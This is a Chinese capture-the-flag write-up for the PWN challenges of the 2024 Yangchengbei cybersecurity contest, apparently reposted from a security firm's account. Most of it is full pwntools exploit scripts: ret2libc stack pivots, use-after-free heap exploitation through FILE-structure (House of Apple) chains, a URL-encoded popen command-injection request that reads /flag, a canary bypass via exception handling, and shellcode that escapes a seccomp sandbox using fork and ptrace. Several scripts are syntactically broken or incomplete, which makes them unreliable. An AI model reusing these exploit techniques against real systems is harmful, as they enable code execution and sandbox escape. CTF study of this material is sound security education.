2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

WriteUp 2个月前 admin
58 0 0

pstack

溢出0x10个字节,控制rbp,返回这个位置,读rop链到bss段,走ret2libc。

.text:00000000004006BF                 call    puts
.text:00000000004006C4                 lea     rax, [rbp+buf]
.text:00000000004006C8                 mov     edx, 40h ; '@'  ; nbytes
.text:00000000004006CD                 mov     rsi, rax        ; buf
.text:00000000004006D0                 mov     edi, 0          ; fd
.text:00000000004006D5                 call    read
.text:00000000004006DA                 nop
.text:00000000004006DB                 leave
.text:00000000004006DC                 retn
;控制rbp即可控制写入位置
from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content : print('x1b[01;38;5;214m' + content +'x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
s = lambda data: io.send(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda    : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda    :u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
h64=lambda     :u64(io.recv(6).ljust(8,b'x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
    if(c):
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()
#---------------------------------------------------------
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
#---------------------------------------------------------
pop_rdi = 0x0000000000400773
ret = pop_rdi+1
pop_rsi = 0x0000000000400771 #pop rsi ; pop r15 ; ret
leave_ret = 0x00000000004006db
bss =elf.bss()+0x300
main_no_rbp = 
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload=b'a'*0x30+p64(bss)+p64(0x4006C4)
sla(b"?n", payload)


payload=p64(bss+0x500)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006C4)
payload=payload.ljust(0x30,b'x00')
payload+=p64(bss-0x30)+p64(leave_ret)
s(payload)
libc_addr=u64(io.recv(6).ljust(8,b"x00"))-libc.sym['puts']
lg(hex(libc_addr))

libc.address=libc_addr
system=libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
ogg=libc.address+0xebd43

payload=p64(bss)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system)
payload=payload.ljust(0x30,b'x00')
payload+=p64(bss+0x500-0x10-0x20)
payload+=p64(leave)

s(payload)
inter()

TravelGraph

uaf导致堆溢出写漏洞,堆风水之后走apple的orw得到flag。

from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long

# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()

# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------

g = 'guangzhou'
n = 'nanning'
c = 'changsha'
d = 'nanchang'
f = 'fuzhou'


def add(type, A, B, content):
    sla("."'1')
    if type == 0:
        sla("?""car")
    elif type == 1:
        sla("?""train")
    elif type == 2:
        sla("?""plane")

    sla("?", A)
    sla("?", B)
    sla("?"'1000')
    sla(":", content)

def free(A, B): 
    sla("5. Calculate the distance."'2')
    sla("?", A)
    sla("?", B)

def show(A, B):
    sla("5. Calculate the distance."'3')
    sla("?", A)
    sla("?", B)

def edit(A, B, idx, far, content):
    sla("5. Calculate the distance."'4')
    sla("?", A)
    sla("?", B)
    sla("?", str(idx))
    sla("?", far)
    sa(":", content)

def calc(A):
    sla("5. Calculate the distance."'5')
    sla("?", A)


add(0, g, n, "a"*4)
add(2, n, c, "a"*4)
add(1, c, d, "a"*4)

calc(d)
free(g, n) 
add(2, f, d, "AAAA")

add(0, g, n, "x70")
show(g, n)
rl("Note:")
heap = h64() - 0x1470
print(hex(heap))

free(n, c) 
free(g, n) 

add(2, n, c, "A" * 0x510)
show(n, c)
libc.address = l64()- 0x219ce0 - 0x1000
print(hex(libc.address))
free(n, c)  
free(f, d)  

payload = b"A" * 0x510 + p32(3) + p32(4) + p64(3)
add(2, n, c, payload)

free(c, d)  

add(1, c, d, "AAAA")
add(2, f, d, "AAAA")
add(0, g, n, "AAAA")

free(c, d)  
add(2, f, d, "AAAA")
free(g, n) 


#apple   ->orw
fd = libc.address + 0x21b110
chunk = 0x19b0 + heap
FP = heap + 0x19b0
A = FP + 0x100
B = A + 0xe0 - 0x60
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']

pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx_12 = 0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
ret = 0x0000000000029139 + libc.address
setcontext = libc.sym['setcontext']
ROP_addr = FP + 0x400 + 0x30
payload = (0xa0 - 0x10) * b"x00" + p64(A)  
payload = payload.ljust(0xb0b"x00") + p64(1)
payload = payload.ljust(0xc8b"x00") + p64(_IO_wfile_jumps - 0x40)
payload = payload.ljust(0x190b"x00") + p64(ROP_addr) + p64(ret)
sla("5. Calculate the distance."'4')
sla("?", f)
sla("?", d)
sla("?", str(0))
sla("?", str(0x41414141))

orw = b"x00" * (0x410 - 0x1d0) + p64(pop_rdi) + p64(heap + 0x1e80 - 8) + p64(pop_rsi) + p64(0) + p64(pop_rdx_12) + p64(0) * 2 + p64(libc.sym['open'])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(FP + 0x700) + p64(pop_rdx_12) + p64(0x30) * 2 + p64(libc.sym['read'])
orw += p64(pop_rdi) + p64(1) + p64(libc.sym['write']) + b"/flagx00"
sa(":", p64(0) + p64(0x531) + p64(fd) * 2 + p64(chunk) + p64(libc.sym['_IO_list_all'] - 0x20) + payload[0x20:] + orw)

add(2, f, d, "AAAA")
add(0, g, n, payload[0x10:])
# gdb.attach(p,"")
# sleep(2)
sla("5. Calculate the distance."'4')
inter()

httpd

popen函数存在命令注入漏洞。

  sub_25DE(v35, v35);
  if ( !*haystack )
    haystack = "./";
  v18 = strlen(haystack);
  if ( *haystack == 47
    || !strcmp(haystack, "..")
    || !strncmp(haystack, "../", 3u)
    || strstr(haystack, "/../")
    || !strcmp(&haystack[v18 - 3], "/..") )
  {
    sub_233E(400, (int)"Bad Request", 0, "Illegal filename.");
  }
  if ( !sub_1F74(haystack) )
    sub_233E(404, (int)"Not Found", 0, "Invalid file name.");
  v1 = fileno(stdout);
  fd = dup(v1);
  v2 = fileno(stderr);
  v22 = dup(v2);
  freopen("/dev/null""w", stdout);
  freopen("/dev/null""w", stderr);
  stream = popen(haystack, modes);//存在命令注入漏洞
  if ( stream )
  {
    pclose(stream);
    v4 = fileno(stdout);
    dup2(fd, v4);
    v5 = fileno(stderr);
    dup2(v22, v5);
    close(fd);
    close(v22);
    if ( stat(haystack, &v27) < 0 )

会有一个url解码,需要对命令先url编码一下,特别是’/’等符号。

2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

测试发现是可以到这里的,但是前后的输出流都被关闭了,很多符号都被禁用了。

比如:

&
|
;
$
{
}
`
"sh" (字符串)
"bin" (字符串)

想到的是把命令执行的结果输出到xxxindex.html文件中,然后再到文件中去读取,分两次访问。

我们先试试  ls> flagindex.html。

2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

发现是成功的,所以我们可以cat /flag >flagindex.html,然后再去访问html文件就行了,分两次就可以把flag读出来。

#first
from pwn import *
import sys

#p = process('./httpd')
context.clear(arch='amd64', os='linux', log_level='debug')
p = remote("ip",port)

raw_input("Ther")
payload = b'GET /cat%20%2Fflag%20%3E%20flagindex.html HTTP/1.0rn'
payload += b'Host: 127.0.0.1rn'
payload += b'Content-Length: 0rn'
payload += b'rn' 

p.send(payload)

data = p.recvall(timeout=2)  
print(data.decode())

io.close()
p = remote("ip",port)

raw_input("Ther")
payload = b'GET /flagindex.html HTTP/1.0rn'
payload += b'Host: 127.0.0.1rn'
payload += b'Content-Length: 0rn'
payload += b'rn' 

p.send(payload)

data = p.recvall(timeout=2)  
print(data.decode())

logger

Shanghai-DCTF-2017 类似的题目。

https://www.anquanke.com/post/id/89855#h2-0

存在栈溢出,但是有canary,利用异常处理机制去绕过canary的检查,找到了一下两个gadget可以进行利用。

这里有后门可以利用。

.text:0000000000401BD9 loc_401BD9:                             ; CODE XREF: sub_401B8F+40↑j
.text:0000000000401BD9                 mov     rdi, rax        ; void *
.text:0000000000401BDC                 call    ___cxa_begin_catch
.text:0000000000401BE1                 mov     [rbp+command], rax
.text:0000000000401BE5                 mov     rax, [rbp+command]
.text:0000000000401BE9                 mov     rsi, rax
.text:0000000000401BEC                 lea     rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3                 mov     rdi, rax        ; format
.text:0000000000401BF6                 mov     eax, 0
.text:0000000000401BFB ;   try {
.text:0000000000401BFB                 call    _printf
.text:0000000000401C00                 mov     rax, [rbp+command]
.text:0000000000401C04                 mov     rdi, rax        ; command
.text:0000000000401C07                 call    _system
from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long

# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()

# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------
def record_data(log):
    sla("Your choice:", str(1)) # 选择第一个选项
    sla("here:", log)  # 发送记录数据
    sla("records?"'y')  # 询问是否记录

def send_warning(msg):
    sla("Your choice:", str(2))  # 选择警告选项
    ru('31m')  # 接收后续数据
    time = p.recvline()[:0x14]  # 读取时间数据
    sla("plz: ", msg)  # 发送警告消息

record_data(p64( 0x404020) * 2
record_data(p64( 0x404020) * 2)  
record_data(p64( 0x404020) * 2)  
record_data(p64( 0x404020) * 2)  

#
#shell()
record_data(p64( 0x404020) * 2
#gdb.attach(io)
#pause
record_data(p64( 0x404020) * 2)  
record_data(p64( 0x404020) * 2
record_data(p64( 0x404020) * 2)
record_data("/bin/sh")
send_warning(b'x00' * 0x70 + p64(read_addr + 0x18) + p64(0x401bc7))
inter()

try-hard-sanbox赛后复现)

沙盒机制不是直接kill,而是trace:

2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

参考链接:

https://man7.org/linux/man-pages/man2/seccomp.2.html

uaf漏洞,走apple链子,最后执行shellcode。

open和openat被禁掉了,走fork+ptrace绕过沙盒。

from pwn import *
from Crypto.Util.number import bytes_to_long, bytes_to_long

# --------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content, data: print('x1b[01;38;5;214m' + content + ' = ' + hex(data) + 'x1b[0m')
lg = lambda content: print('x1b[01;38;5;214m' + content + 'x1b[0m')
sla = lambda data, content: io.sendlineafter(data, content)
sa = lambda data, content: io.sendafter(data, content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
dbg = lambda: gdb.attach(io)
bk = lambda: (dbg(), pause())
inter = lambda: io.interactive()
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8b'x00'))
h64 = lambda: u64(io.recv(6).ljust(8b'x00'))
add = 0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1, add, 0x30))

def dbg(c=0):
    if c:
        gdb.attach(io, c)
        pause()
    else:
        gdb.attach(io)
        pause()

# ---------------------------------------------------------
libc = ELF('./libc.so.6')
filename = "./pwn"
io = process(filename)
elf = ELF(filename)
# ---------------------------------------------------------
def add(index, size):
    sla('>''1')
    sla('Index: ', str(index))
    sla(': ', str(size))

def edit(index, content):
    sla('>''3')
    sla('Index: ', str(index))
    sa(': ', content)

def delete(index):
    sla('>''2')
    sla('Index: ', str(index))

def show(index):
    sla('>''4')
    sla(': ', str(index))

add(00x520)
add(10x508)
delete(0)
show(0)
libc_base =h64() - 0x1f6cc0
print(libc_base)
system = libc_base + libc.sym['system']

add(20x508)
add(30x518)
add(40x528)
delete(2)
delete(3)
show(3)

heap_base =h64() - 0x290
add(20x508)
add(30x518)

li(hex(libc_base))
li(hex(heap_base))

add(50x558)
add(60x558)
add(70x548)
add(80x548)

delete(5)
add(90x598)
delete(7)
puts_io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
addr = libc.symbols['puts'] + libc_base
fake_io_addr = heap_base + 0x16E0
lock = 0x3ed8b0 + libc_base
pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;')))
rsi_r15 = libc_base + 0x0000000000023b63
pop_rdx_rbx = libc_base + next(libc.search(asm('pop rdx;pop rbx;ret;')))
r12 = libc_base + next(libc.search(asm('pop r12;ret;')))
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
rax = libc_base + 0x3fa43
rdx = libc_base + 0x166262
ret = libc_base + 0x233d1
open_addr = libc.symbols['open'] + libc_base
read_addr = libc.symbols['read'] + libc_base
write_addr = libc.symbols['write'] + libc_base
puts_addr = libc.symbols['puts'] + libc_base
prctl = libc.symbols['prctl'] + libc_base
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
magic_gadget = libc_base + 0x163090 + 0x1a
orw_addr = heap_base + 0x2740
syscall = read_addr + 15

orw = b'./flagx00x00'
orw += p64(rsi_r15) + p64(0) + p64(fake_io_addr - 0x10 + 0x40)
orw += p64(pop_rsi) + p64(0x2000)
orw += p64(pop_rdi) + p64(heap_base)
orw += p64(rdx) + p64(7)
orw += p64(rax) + p64(10)
orw += p64(syscall)
orw += p64(ret) + p64(heap_base + 0x2a0)
mprotect = libc_base + libc.sym['mprotect']
PTRACE_ATTACH = 0x10
PTRACE_CONT = 7
PTRACE_DETACH = 17
PTRACE_INTERRUPT = 12
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x80


shellcode = '''
sub rsp,0x100
push rax
'''

shellcode += shellcraft.fork()
shellcode += '''
   mov r13,rax
   cmp r13,0
        push r13
        push r13
        push r13
        push r13
            /* write(fd=1, buf='rsp', n=8) */
        push 1
        pop rdi
        push 8
        pop rdx
        mov rsi, rsp
        /* call write() */
        push 1 /* 1 */
        pop rax
        syscall
            /* ptrace(request=0x10, vararg_0='r13', vararg_1=0, vararg_2=0) */
        xor r10d, r10d /* 0 */
        push 0x10
        pop rdi
        xor edx, edx /* 0 */
        mov rsi, r13
        /* call ptrace() */
        push 101 /* 0x65 */
        pop rax
        syscall
        pop r13
            /* wait4(pid=0, stat_loc=0, options=0, usage=0) */
        xor r10d, r10d /* 0 */
        xor edi, edi /* 0 */
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call wait4() */
        push 61 /* 0x3d */
        pop rax
        syscall
        pop r13
            /* ptrace(request=0x4200, vararg_0='r13', vararg_1=0, vararg_2=0x80) */
        xor r10d, r10d
        mov r10b, 0x80
        mov edi, 0x1010101 /* 16896 == 0x4200 */
        xor edi, 0x1014301
        xor edx, edx /* 0 */
        mov rsi, r13
        /* call ptrace() */
        push 101 /* 0x65 */
        pop rax
        syscall
        pop r13
            /* ptrace(request=7, vararg_0='r13', vararg_1=0, vararg_2=0) */
        xor r10d, r10d /* 0 */
        push 7
        pop rdi
        xor edx, edx /* 0 */
        mov rsi, r13
        /* call ptrace() */
        push 101 /* 0x65 */
        pop rax
        syscall
        pop r13
            /* wait4(pid=0, stat_loc=0, options=0, usage=0) */
        xor r10d, r10d /* 0 */
        xor edi, edi /* 0 */
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call wait4() */
        push 61 /* 0x3d */
        pop rax
        syscall
           /* ptrace(request=0x11, vararg_0='r13', vararg_1=0, vararg_2=0) */
        xor r10d, r10d /* 0 */
        push 0x11
        pop rdi
        xor edx, edx /* 0 */
        mov rsi, r13
        /* call ptrace() */
        push 101 /* 0x65 */
        pop rax
        syscall
       /* open(file='./flag', oflag=0, mode=0) */
        /* push b'./flagx00' */
        mov rax, 0x101010101010101
        push rax
        mov rax, 0x101010101010101 ^ 0x67616c662f2e
        xor [rsp], rax
        mov rdi, rsp
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
            /* sendfile(out_fd=1, in_fd='rax', offset=0, count=0x50) */
        push 0x50
        pop r10
        push 1
        pop rdi
        xor edx, edx /* 0 */
        mov rsi, rax
        /* call sendfile() */
        push 40 /* 0x28 */
        pop rax
        syscall


'''

shellcode = shellcode.format(
    PTRACE_ATTACH=PTRACE_ATTACH,
    PTRACE_SETOPTIONS=PTRACE_SETOPTIONS,
    PTRACE_CONT=PTRACE_CONT,
    PTRACE_DETACH=PTRACE_DETACH,
    PTRACE_O_TRACESECCOMP=PTRACE_O_TRACESECCOMP
)

shell = asm(shellcode)
shell = shell.ljust(0x400b'x90')
edit(0, shell)
edit(8, orw)

pl = p64(0) + p64(leave_ret) + p64(0) + p64(puts_io_all - 0x20)
pl += p64(0) * 2 + p64(0) + p64(orw_addr)
pl += p64(0) * 4
pl += p64(0) * 3 + p64(lock)
pl += p64(0) * 2 + p64(fake_io_addr + 0xe0 + 0x40) + p64(0)
pl += p64(0) * 4
pl += p64(0) + p64(wfile)
pl += p64(0) * 0x1c + p64(fake_io_addr + 0xe0 + 0xe8 + 0x40)
pl += p64(0) * 0xd + p64(magic_gadget)
edit(5, pl)

add(100x640)
add(110x540)
print(hex(rsi_r15))
print(hex(orw_addr))
dbg()
r.sendline('5')

r.interactive()

2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

原文始发于微信公众号(山石网科安全技术研究院):2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇

版权声明:admin 发表于 2024年9月3日 上午9:39。
转载请注明:2024年羊城杯粤港澳大湾区网络安全大赛WP-PWN AK篇 | CTF导航

相关文章